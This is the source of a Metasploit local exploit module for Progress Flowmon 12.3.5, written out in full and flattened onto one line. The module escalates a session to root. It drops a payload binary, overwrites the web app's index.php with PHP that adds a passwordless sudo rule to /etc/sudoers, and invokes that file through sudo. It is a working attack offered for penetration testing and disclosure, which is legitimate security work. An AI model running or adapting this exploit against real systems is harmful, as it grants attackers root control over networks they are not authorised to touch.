Progress Flowmon 12.3.5 Local sudo Privilege Escalation

# This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local  Rank = ExcellentRanking  include Msf::Exploit::EXE  include Msf::Exploit::FileDropper  include Msf::Post::File  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Progress Flowmon Local sudo privilege escalation',        'Description' => %q{          This module abuses a feature of the sudo command on Progress Flowmon.          Certain binary files are allowed to automatically elevate          with the sudo command.  This is based off of the file name.  This          includes executing a PHP command with a specific file name. If the          file is overwritten with PHP code it can be used to elevate privileges          to root. Progress Flowmon up to at least version 12.3.5 is vulnerable.        },        'Author' => [          'Dave Yesland with Rhino Security Labs',        ],        'License' => MSF_LICENSE,        'References' => [          ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/'],          ['URL', 'https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability']        ],        'DisclosureDate' => '2024-03-19',        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],          'Reliability' => [ REPEATABLE_SESSION ]        },        'SessionTypes' => ['shell', 'meterpreter'],        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_X86, ARCH_X64],        'Targets' => [['Automatic', {}]],        'Privileged' => true      )    )    register_options([      OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),    ])  end  def check    score = 0    score += 1 if read_file('/var/www/shtml/index.php')&.include?('FlowMon')    score += 1 if read_file('/var/www/shtml/ui/manifest.json')&.include?('Flowmon Web Interface')    score += 1 if exists?('/var/www/shtml/translate.php')    vprint_status("Found #{score} indicators this is a Progress Flowmon product")    return CheckCode::Detected if score > 0    return CheckCode::Safe  end  def on_new_session(session)    super    print_status('Cleaning up addition to /etc/sudoers')    if session.type.to_s.eql? 'meterpreter'      session.sys.process.execute '/bin/sh', "-c \"sed -i '/^ADMINS ALL=(ALL) NOPASSWD: ALL$/d' /etc/sudoers\""    elsif session.type.to_s.eql? 'shell'      session.shell_command_token 'sed -i \'/^ADMINS ALL=(ALL) NOPASSWD: ALL$/d\' /etc/sudoers'    end  end  def cleanup    super    unless @index_php_contents.blank?      print_status('Restoring /var/www/shtml/index.php file contents...')      file_rm('/var/www/shtml/index.php')      write_file('/var/www/shtml/index.php', @index_php_contents)    end  end  def exploit    @index_php_contents = ''    fail_with(Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable") unless writable?(datastore['WRITABLE_DIR'])    exploit_file = "#{datastore['WRITABLE_DIR']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"    vprint_status("Saving payload as #{exploit_file}")    write_file(exploit_file, generate_payload_exe)    chmod(exploit_file)    register_file_for_cleanup(exploit_file)    @index_php_contents = read_file('/var/www/shtml/index.php')    print_status('Overwriting /var/www/shtml/index.php with payload')    cmd_exec('echo \'<?php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers"); ?>\' > /var/www/shtml/index.php;')    print_status('Executing sudo to elevate privileges')    cmd_exec('sudo /usr/bin/php /var/www/shtml/index.php Cli\\:AddNewSource s;')    cmd_exec("sudo '#{exploit_file}'")  endend